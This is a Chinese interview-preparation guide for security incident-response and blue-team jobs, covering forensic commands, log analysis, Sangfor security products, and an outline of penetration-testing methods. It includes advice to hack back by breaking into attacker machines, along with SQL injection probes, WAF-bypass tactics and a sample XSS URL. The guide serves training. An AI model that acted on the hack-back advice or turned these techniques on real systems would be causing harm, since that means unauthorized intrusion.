2. 应急响应时windows常见的命令有哪些?应急响应是Linux常见的命令有哪些?
Windows:netstat -ano/-anb、taskkill、tasklist。
Linux:netstat -anp、ps -aux、top、kill
3. 你在做windows应急响应的时候,常用的工具有什么?
PCHunter
、火绒剑
、Process Explorer、Log parser、Event Log Autoruns
4. 计划任务怎么看?有什么命令?什么文件?
Linux:
可以使用crontab -l 查看,只能查看当前用户的,还可以在文件中查看,/var/spool/cron/目录下还有好几个文件需要查看。
具体点:
1、/var/spool/cron/ 这个目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名,比如tom建的crontab任务对应的文件就是/var/spool/cron/tom。一般一个用户最多只有一个crontab文件。
2、/etc/crontab 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab。
3、/etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。
Windows:
Win8以前:at
Win8以后:schtasks
5. web日志都有哪些日志?
服务器日志(访问日志、错误日志、请求日志、启动日志、本地日志)、数据库日志
6. 溯源了解过吗?具体的思路是什么?
溯源描述:完整还原攻击链条,溯源到黑客的虚拟身份、真实身份,溯源到攻击队员,反控攻击方主机根据程度阶梯给分。
参考:https://blog.csdn.net/yudashuai99/article/details/115712687
大致流程:根据日志中的IP,去定位红队的位置,但是一般都是挂了代理或者使用了肉鸡,IP通常都是假的。
可以通过发现的病毒,分析病毒行为,找到链接出去的IP地址。
部署了蜜罐,可以在蜜罐中,查看被攻击的日志,看能否找到IP,以及可疑信息。
得到IP之后,可以进行反向渗透。收集红队IP信息,扫描漏洞,入侵红队机器,拿下权限之后,如果是肉鸡,寻找上一级的IP,再进行刚才的过程,直到找到真实的红队。
7. 如果这个web应用部署在windows上面,他的这个日志都应该看哪些?
错误日志、请求日志、访问日志
8. 一般绘制攻击者画像会有哪些维度?
攻击者身份画像
虚拟身份:ID、昵称、网名
真实身份:姓名、物理位置
联系方式:手机号、qq/微信、邮箱
组织情况:单位名称、职位信息
9. 态势感知平台上,看到有一个服务器,一直在发送恶意域名的请求,然后你登录在这个服务器上,查看了井没有恶意的IP地址的连接,那么你如何定位到态势感知报出的这个病毒呢?(使用wireshark在服务器抓一下包,确定流量)
思路:我登陆服务器查看没有连接,用的是netstat命令吧(你咋这么挫,老是被绕过,如果不是,那你这个面试官真的很挫),你想问我的是如何避开netstat吧?大哥告诉你,方法有很多:
可能性1:netstat命令被换了,它已不再是它,把源命令上传的在线查毒网站查一下,看看报毒情况,如果报毒多或者卡巴 eset nod32这些大厂报毒估计实锤了,可以删除,替换新的。然后再尝试看网络连接。
可能性2:如果还是不行,那就是通过注入HOOK了命令程序对应的代码,可以使用第三方工具(比如windows下PCHunter,WSExplorer,Linux下pspy)查查进程、线程、模块、计划任务等等,肯定能找到很多线索。
可能性3:如果还是不好找,就那纯暴力破解的思路,对机器做好备份,开着抓包工具,一个一个进程结束,直到没有流量产生,就找到那个程序了,最后去找那个文件即可。
10. 如果你的客户中了勒索病毒,你的销售肯定会联系你说,帮忙看看是怎么回事,在没有接触到主机的时候,在你去的路上和客户进行电话沟通,那么你会向客户了解哪些信息,来有助于你后面的分析?
思路:首先需要问的是中毒机器是在什么网络区域(内网、DMZ、外网),不同区域危害不一样,以内网为例,内网危害巨大,传播速度极快,如果中毒机器业务可以中毒需要立马断网,注意千万不能关机。需要询问在中毒时的前24小时,对这个系统有哪些访问外网的操作,比如有没有访问邮箱下载附件,有没有访问不知名网站,有没有通过微信、QQ等通信工具下载文件运行等等。还有就是询问系统的状况操作系统类型和有没有装杀毒软件防火墙等等。
核心思路:中毒的入口,是系统有漏洞?还是被钓鱼了?还是手欠下载了不该下载的文件
11. 接上一题,如果wireshark确实有数据,那么怎么找到这个病毒呢?(应急响应的一些工具)
wireshark可以抓到数据包,说明有往外的流量,或者有接收的流量,有流量就会有网络连接,可以使用netstat命令查看网络连接和对应的进程,然后根据进程找到文件位置。如果netstat命令失效可能存在隐藏,比如netstat命令被换了,或者就是有rootkit hook了底层的api,可以使用一些高级的第三方工具,比如PCHunter。如果还是不好找,就那纯暴力破解的思路,对机器做好备份,开着抓包工具,一个一个进程结束,直到没有流量产生,就找到那个程序了,最后去找那个文件即可。
12. 勒索病毒怎么应急?
首先需要断网,然后安装杀毒软件,对中毒机器进行查杀,查杀报毒之后,看到底是什么勒索病毒,然根据名称在网上需要寻找解密工具,如果能找到就进行解密。如果找不到就只能交赎金或者丢弃数据重装系统或恢复系统,打补丁。
13. 应急时Windows的事件ID你关注的是哪些?
4624 成功用户登录
4625 登录失败
如果有大量的登录失败信息,说明存在暴力破解
14. webshell怎么处理?
如果是态势告知告警,需要先分析告警中的日志,看看是否攻击成功,如果攻击成功,再登陆系统,可以分析中间件的日志post请求,找到上传相关的URL,看看具体是哪个时间,然后再根据时间去敏感目录下寻找文件,或者直接去网站目录下寻找文件,或者直接用webshell查杀工具扫描,找到webshell查杀将其删除,然后再升级当前网站和系统。
15. 应急响应方面,给你一个业务系统,明确一下是通过weblogic反序列化漏洞打下来的,请问如何排查?
首先分析日志确定是否攻击成功,攻击成功可以通过响应包看看有没有执行命令成功的返回结果,比如执行了id命令会返回uid,gid等字符串。如果攻击成功,就需要对weblogic进行升级才可以修复漏洞。具体排查就需要登陆系统,使用webshell查杀工具和一些专杀工具,检查后门,将后门清理掉,然后查看日志、敏感文件、网站目录、计划任务、服务等等地方。
16. 如果这个web应用部署在windows上面,他的这个日志都应该看哪些?
思路:如果在windows上部署了web应用,会有中间件、数据库、网站源码,可以看到的日志也是从这个四个方面看,
一个就是系统日志,可以用事件查看器看,有系统登陆、应用启动相关日志
再之后就是中间件日志,比如IIS,有日志文件可以看,apache和nginx也都有访问日志和错误日志,有请求相关日志
再往后是数据库,也有自己的日志,有数据库操作相关日志
有的网站源码本身就带缓存或者日志,也可以看。有网站运行相关日志
17. 如果有一个客户,网页被篡改了,怎么应急?假如我的服务器是一个Linux系统,你觉得他可能是什么导致的?
应急需要先断网,根据修改请求,可以从日志开始分析,web中间件的日志,看看有没有可疑请求,比如sql注入相关的操作,上传webshell,连接webshell的操作,还有就是一些反弹shell的命令。然后再去网站目录寻找后门,去计划任务、服务、敏感文件看卡修改情况,也可以用一些webshell查杀工具进行查杀。
网页篡改说明系统可能被攻陷了,网站可能存在漏洞,比如文件上传、存储型xss、RCE漏洞等等
18. 如果客户没有审计类的工具,怎么应急?
手工进行排查,比如linux服务器,需要查看日志、敏感文件、网站目录、计划任务、服务等等地方。
19. PCHunter时做啥的?你拿这个做过应急响应的工作吗?
PCHunter是一个手工查杀工具,可以发现病毒
20. 如果说我的主机已经被攻陷了,已经有外联行为,那么这个排查思路是?
先断网,比如linux服务器,需要查看网络连接,根据连接找到文件,然后查看日志、敏感文件、网站目录、计划任务、服务等等地方
21. HW时红队会有oday,作为蓝队前期应该尽可能做哪些防守工作?
及时响应,调整安全策略尽可能屏蔽不安全的端口服务等等。
22. 态势感知上怎么判定漏洞利用成功?
首先分析日志确定是否攻击成功,攻击成功可以通过响应包看看有没有执行命令成功的返回结果,比如执行了id命令会返回uid,gid等字符串。如果攻击成功,就需要对weblogic进行升级才可以修复漏洞。具体排查就需要登陆系统,使用webshell查杀工具和一些专杀工具,检查后门,将后门清理掉,然后查看日志、敏感文件、网站目录、计划任务、服务等等地方。
4.设备使用
01. 了解哪些安全产品?
SIP(态势感知)、AF(防火墙)、
注意有人喜欢 读字母 S I P 分开读。有人喜欢秀英文, “西破” 指的是 SIP,不要听不出来。
02. 你觉得防火墙是干什么用的?
防火墙的目的就是在网络连接之间建立一个安全控制点,通过允许、拒绝或重新定向经过防火墙的数据流,实现对进、出内部网络的服务和访问的审计和控制。
典型的防火墙体系网络结构一端连接企事业单位内部的局域网,而另一端则连接着互联网。 所有的内、外部网络之间的通信都要经过防火墙,只有符合安全策略的数据流才能通过防火墙
03. SIP能干什么?态势感知有哪些功能?
是一个检测、预警、响应处置的大数据安全分析平台。其以全流量分析为核心,结合威胁情报、行为分析
建模、UEBA、失陷主机检测、图关联分析、机器学习、大数据关联分析、可视化等技术,对全网流量实现全网业务可视化、威胁可视化、攻击与可疑流量可视化等,帮助客户在高级威胁入侵之后,损失发生之前及时发现威胁
04. 深信服防火墙的功能有哪些?
安全运营(相当于众多功能的一个中心控制台)、策略、监控
05. 态勢感知和防火墙有什么区别?
态势感知,侧重于监测和分析,有没有安全威胁,安全威胁的来源。部署在交换机旁路,用于收集信息。
防火墙侧重于防护外部的攻击,内网被攻击成功后向外部链接的拦截等。阻断安全风险。部署在网络主干通道上,阻断威胁。
06. 堡垒机有了解过吗?是干什么的?
堡垒机是用来控制哪些人可以登录哪些资产(事先防范和事中控制),以及录像记录登录资产后做了什么事情(事后溯源.)。
07. EDR有了解过吗?
围绕终端资产安全生命周期,通过预防、防御、检测、响应赋予终端更为细致的隔离策略、更为精准的查杀能力、更为持续的检测能力、更为快速的处置能力。在应对高级威胁的同时,通过云网端联动协同、威胁情报共享、多层级响应机制,帮助用户快速处置终端安全问题,构建轻量级、智能化、响应快的下一代终端安全系统。
简单来说,就是部署在企业内各个主机上的杀毒软件。
能够在企业中用一台主机对所有的主机的EDR做统一配置。
08. 态势;感知可以和哪些设备做联动?可以和第三方设备联动吗?
这个在文档中是可以查到的,一般我们常联动的有深信服自己的产品,比如EDR,AF,STA等等,还有其他的厂商的,比如绿盟的防火墙。
09. 防火墙拦截了,态势感知还有用吗?
态势感知就是负责检测威胁的,防火墙如果规则设置的合适可以拦截威胁,如果规则设置不得当或者没有拦截,态势感知可以结合其他的设备比较STA,EDR综合检测威胁。
另外,防火墙拦截到的日志,也可以联动给态势感知,做一定的分析。
10. 深信服防火墙中的安全运营是干什么呢?
安全运营中心可以评估整体的风险,包括设备、用户和业务的风险状况,并能提供事件处置的处置向导,包括风险评估、动态保护、监测与分析和待办事件四个功能模块。
11. 态势感知上发现有一台主机通过weblogic反序列化漏洞已经被打了,而且安全设备上已经提示攻击成功了,怎么做应急响应? Linux服务器。
首先我会分析态势感知上的日志,看看返回包中的信息,一般攻击成功肯定会执行一些命令,根据返回包中的结果看看有没有一些命令的执行结果,比如id,会有uid,gid之类的字符串返回,如果有的话就说明攻击成功。然后再登陆linux服务器,从网络连接、进程、计划任务、文件、敏感目录等地方逐一排查。
12. 态势感知重点关注的是哪方面的日志?
在分析中心可以看到态势感知支持很多类型日志,主要分为四类,安全检测日志、审计日志、windows/linux事件日志、第三方日志。
安全检测日志就是漏洞攻击相关的,比如弱口令攻击、sql注入、文件上传等等
审计日志就是访问相关的,比如登陆相关的日志
windows/linux事件日志就是系统相关的事件日志
第三方日志就是第三方设备的日志,比如绿盟的防火墙等等
我们重点关注的主要是安全检测日志
13. 如果sip通过af去处理一下策略联动,自动封禁,这种怎么做?
一般在SIP有告警时,可以看告警记录,然后找到日志,查看日志,日志页面上面一般有联动处置按钮,点击之后就可以选中联动处置的具体操作,比如使用EDR一键查杀,或者使用AF自动封锁IP等
14. 怎么确定是不是误报?
看态势感知的告警日志,看返回包,也就是响应包有没有执行命令的结果。
去具体的机器上,进行使用安全工具进行排查,例如:抓包,查找可疑进程等
15. 深信服态势感知会把账号密码都保留下来吗?
不一定,不一定,态势感知可以对资产梳理,可以获取的信息有很多,包括基础信息、开放端口,账号信息、应用软件信息、基线异常、硬件信息、数据来源等等,能不能保存信息取决于数据来源。
16. 态势感知联动封锁处置什么意思?能联动什么设备?
联动处置就是联合其他设备进行处理,能联动什么设备这个在文档中是可以查到的,一般我们常联动的有深信服自己的产品,比如EDR,AF,STA等等,还有其他的厂商的,比如绿盟的防火墙
17. 比如你用深信服的态势感知,奇安信的防火墙,绿盟的防火墙怎么联动?
手册,手册上有就可以联动,没有就上报领导,一般可以联动绿盟防火墙、华为防火墙,奇安信的据我所知手册上没有
18. 防火墙的手动评估是什么功能?
防火墙的手动评估功能在安全运营模块里,它有两种评估方式,自动评估和手动评估,自动评估就是每个一段时间执行一次评估功能,手动评估就是自己点击按钮进行评估,评估功能就是开启各种防御、监测、生成待处理的事件。
19. 深信服的防火墙怎么对网站进行手动评估?
在深信服的安全运营模块中,找到手动评估,点击即可开始评估。
20. 我看你的简历中写了在安全防御日志中,查看安全事件并分析,你都分析过哪些事件?
有分析过sql注入漏洞和webshell上传的日志,分析的时候就是看到事件之后查看日志,一般这种安全事件都有数据包,看请求和响应数据包,举例来说,请求包中有sql注入的payload说明日志是正确的,看响应包有没有执行结果,有的话说明目标可能存在漏洞。
一般这种的日志会有多个,可以多条记录对比,就能判定出是否攻击成功。举例来说,请求包中是post请求,请求包中有一句话后门或者一些常见的冰蝎后门的话,应该就是webshell上传了,是否攻击成功,需要再多看几个日志,一般判定是否攻击成功都是看响应包的内容,比如执行命令的结果或者执行函数的结果。
21. 你做过哪些防火墙的操作,做了哪些策略,哪些配置,阻止被被人攻击呢?
我对防火墙的安全运营、监控、策略都操作过,策略方面有添加应用策略,禁止木马控制和代理工具使用。(这个最好查看手册,多看看)
22. 基线检查有了解过吗?有哪些?
基线检查是一种重要的运维活动,用于检查系统的健康状态,以提高系统的可靠性和安全性。它的目的是检查系统的状态,检测出系统可能存在的问题,以及可能导致系统出现故障的因素,从而及时采取补救措施。
常见的基线检查有:
-
操作系统基线检查:检查操作系统的核心文件、系统补丁和系统设置。
-
网络基线检查:检查网络设备的配置、状态和安全性设置。
-
服务器基线检查:检查服务器的硬件设置、软件安装和安全性设置。
-
应用程序基线检查:检查应用程序的安全配置和可用性。
-
数据库基线检查:检查数据库的配置、状态和安全性设置。
-
安全基线检查:检查安全系统的设置,包括访问控制、加密和审计等。
5.加分项目
- 在安全平台提交过漏洞
- 做过代码审计
6.深信服渗透
-
信息收集
-
收集域名信息、备案信息、姓名、电话邮箱等用于社工,敏感目录、敏感文件、中间件版本、子域名信息、真实IP、C段旁站、收集端口、服务、系统版本信息、识别WAF、收集网站指纹等等
-
具体如何收集信息:Web端信息收集,终端信息收集,域内/内网信息收集
-
Web端信息收集:
- 页面源码分析:查看元信息、注释、隐藏链接、JavaScript源码以获取版本信息、API接口、潜在路径等。
- 子域名枚举:使用工具或服务发现目标所有关联的子域名,扩大攻击面。
- 端口扫描:通过nmap等工具检查开放的服务及其版本。
- CMS指纹识别:识别网站使用的CMS系统及版本,查找已知漏洞。
- 目录爆破与文件包含:尝试猜测和验证后台管理目录、敏感文件等。
- 社交工程:搜集社交媒体、员工信息、公开披露的数据等。
-
终端信息收集:
- 网络嗅探:抓取网络流量以分析协议、认证信息、敏感数据传输等。
- 暴力破解:尝试登录凭证破解,尤其是针对SSH、RDP等远程服务。
- 应用程序指纹识别:识别终端上运行的应用类型和版本,查找应用层面漏洞。
-
内网/域内信息收集:
- 主机扫描:主动扫描内网主机,获取IP、MAC地址、操作系统信息等。
- 域名系统(DNS)查询:通过
DNS解析
获取内网服务分布和结构。 LDAP查询
:针对域环境,通过LDAP查询
获取用户、组、策略等信息。Kerberoasting
:利用Kerberos协议
特性提取明文凭证hash
用于进一步攻击。
-
-
SQL注入 & XSS
-
SQL注入就是用户输入的数据被当做指令执行了,测试这个漏洞可以使用
sqlmap
或者手工测试,手工测试可以通过and 1=1 和 and 1=2 看返回结果!返回结果不一致就有漏洞,如果参数是字符型就需要加单引号闭合一下,在家and 1=1 和 and 1=2 看返回结果! -
SQL注入挖掘手法:
- 字符串拼接:提交含有特殊字符的输入以干扰SQL语句逻辑。
- 数字型注入:针对数字型参数尝试整数溢出、布尔盲注、时间盲注等。
- UNION注入:构造联合查询获取数据库表结构和数据。
- Stacked Queries:堆叠多个SQL命令以执行额外的操作。
-
绕过手法:
- 注释符绕过:利用SQL注释符避免注入语句被过滤。
- 编码技巧:使用URL编码、十六进制、双引号反转等手段避开WAF。
- 特殊字符组合:如利用条件运算符、括号、函数等构造复杂表达式。
-
XSS常见挖掘手法:
攻击者上传了一个应用的截图,其中包含了隐藏的 HTML 代码片段,当用户查看截图时,这段代码被执行,显示虚假的登录界面并窃取用户在此网站的用户名和密码。
XSS漏洞分类与具体挖掘场景:
反射型XSS(非持久性):
场景:攻击者构造带有恶意脚本的URL,然后诱骗用户点击。一旦用户点击了这个链接,浏览器会向服务器发送请求,并在返回的响应页面中包含了攻击脚本,此时浏览器执行了该脚本。
示例:攻击者在论坛发帖,包含一条指向目标网站带有恶意参数的链接,如http://example.com/search.php?q=<script>alert('XSS')</script>
,当其他用户点击后,会弹出警告框。
存储型XSS(持久性):
场景:攻击者将恶意脚本提交到Web应用程序(如留言板、个人资料、文章评论等),服务器将其保存并在之后显示给其他用户时未经有效处理,导致所有查看该页面的用户都会执行这段脚本。
示例:在博客评论区写下包含恶意JS代码的评论,服务器存储并展示在博客文章下方,每次有人访问这篇博客时,恶意代码被执行。
DOM-Based XSS(基于DOM的XSS):
场景:恶意脚本并非由服务器直接输出,而是在客户端通过JavaScript处理用户输入时产生。攻击成功与否取决于前端代码如何处理和渲染用户提供的数据。
示例:某个应用使用JavaScript根据GET参数动态更新页面元素,但没有对参数值进行DOM级别的转义,攻击者可以通过构造特殊的URL使得JavaScript在解析参数时创建了恶意脚本节点。
挖掘XSS漏洞的具体步骤:
寻找输入点:审查Web应用的所有用户交互区域,包括但不限于表单、URL参数、Cookie、Referer头等。
分析输出点:确认应用程序如何处理这些输入,并查找所有可能的输出位置,包括但不限于HTML页面、错误消息、AJAX响应等。
尝试注入:在每个输入点尝试注入不同类型的XSSpayload(如<script>
标签、事件处理程序、HTML实体编码等)。
验证漏洞:观察浏览器是否执行了注入的脚本,同时考虑不同的浏览器兼容性和上下文环境(如HTML、attribute、JavaScript字符串等)。
报告漏洞:在确保合法合规的前提下,向应用所有者或安全团队报告发现的XSS漏洞,并提供复现步骤和修复建议。对于防范措施,通常包括对所有不可信数据进行适当的编码和转义,尤其是在HTML、JavaScript和CSS上下文中。
-
-
渗透测试思路
- 首先进行打点(寻找有可能存在的点,就是信息收集+漏洞扫描)信息收集主要收集域名信息、备案信息、姓名、电话邮箱等用于社工,敏感目录、敏感文件、中间件版本、子域名信息、真实IP、C段旁站、收集端口、服务、系统版本信息、识别WAF、收集网站指纹等等
- 然后进行漏洞挖掘:浏览网站,查看网站的规模,功能,特点等,然后进行端口、弱口令、目录等扫描
- 寻找漏洞,比如sql注入,命令注入,xss,csrf,文件上传,文件包含,未授权访问等,最后使用漏扫工具扫描挖掘漏洞
- 漏洞利用或者验证漏洞:根据项目要求验证漏洞或者利用挖掘出的漏洞上传后门,进行getshell,然后再进行权限提升
- 根据项目要求完成报告
-
应急响应思路
- 首先就是事件确认,确认攻击的类型以及危害范围
- 事件抑制,分为可终止资产和不可终止资产。可终止资产就是关机或者断网以及删除被攻陷的账号;不可终止资产就是修改安全配置以及加固
- 事件处理:病毒查杀,基本就是一些安全基线的检查等等,看看攻击者是从哪里攻击进来的
- 撰写报告
- 结束跟踪:回顾整个应急响应的流程,看看还有哪些地方做的不到位
-
溯源思路
-
根据日志中的ip,去定位红队的位置,但是一般都是挂了代理或者使用了肉鸡,IP通常都是假的。
-
可以通过发现的病毒,分析病毒行为,找到链接出去的ip地址。
-
部署了蜜罐,可以在蜜罐中,查看被攻击的日志,看能否找到IP,以及可疑信息。
-
得到IP之后,可以进行反向渗透。手机红队IP信息,扫描漏洞,入侵红队机器,拿下权限之后,如果是肉鸡,寻找上一级的IP,在进行刚才的过程,直到找到真实的红队
-
日志分析:从系统、网络、应用等多维度的日志中查找异常活动。
-
IP追踪:通过IP地址反查来源、地理位置、关联历史攻击记录等。
-
恶意样本分析:分析恶意软件的特征、C&C服务器地址、编译时间戳等信息。
-
法律协作:必要时借助法律手段,通过ISP或国际执法机构进行深度溯源。
-
-
高频漏洞
- 近期常见的高频漏洞类别可能包括:
Web应用框架
(如Struts2、Spring)、CMS系统
(WordPress、Joomla)的漏洞,以及像Heartbleed
、Log4j2
这样的基础组件漏洞。
- 近期常见的高频漏洞类别可能包括:
-
XSS、CSRF、SSRF联系与区别,防御
-
XSS(跨站脚本攻击)
- 咋回事:攻击者将恶意脚本注入网页,浏览器误执行,分为反射型、存储型和DOM-based XSS。
- 危害:盗取用户信息、操控浏览器行为(如重定向、钓鱼、挂马)。
- 防御:严格过滤和转义用户输入,启用HTTP-only Cookie,实施CSP策略。
-
CSRF(跨站请求伪造)
- 咋回事:恶意网页诱导已登录用户触发请求,利用用户身份执行非预期操作(如转账、改密)。
- 危害:篡改用户状态,执行非用户意愿的动作。
- 防御:使用一次性Token,验证Referer或自定义请求头,避免GET方式改变状态。
-
SSRF(服务端请求伪造)
- 咋回事:攻击者利用服务器发起对外部资源的请求,伪装成合法请求,攻击内网系统或探测漏洞。
- 危害:威胁服务器及其可达的内部资源。
- 防御:采用黑白名单限制服务器可请求的URL,严格验证和格式化外部请求,使用代理服务器控制请求。
-
通俗解释与区别
-
XSS:坏人混入网页恶意脚本,偷走你的信息或控制你的浏览器行为。预防方法是让网站正确处理用户输入,保护Cookie不受脚本读取。
-
CSRF:坏人造了个陷阱,让你的浏览器替他们给真实网站发假请求。防范手段是在重要操作中添加类似“验证码”的Token验证。
-
SSRF:坏人借网站A访问其他网站B的权限,伪装成A进行攻击。应对策略是限定服务器对外请求的范围,并严格审查请求。
-
-
总结
XSS
主要攻击用户浏览器
,CSRF
利用会话状态欺骗服务器
,SSRF
则针对服务器对外请求能力
。- 防御要点在于对输入进行
严密过滤
和转义
,加强身份验证
和请求合法性检查
,以及合理配置资源访问权限
。
-
-
项目经历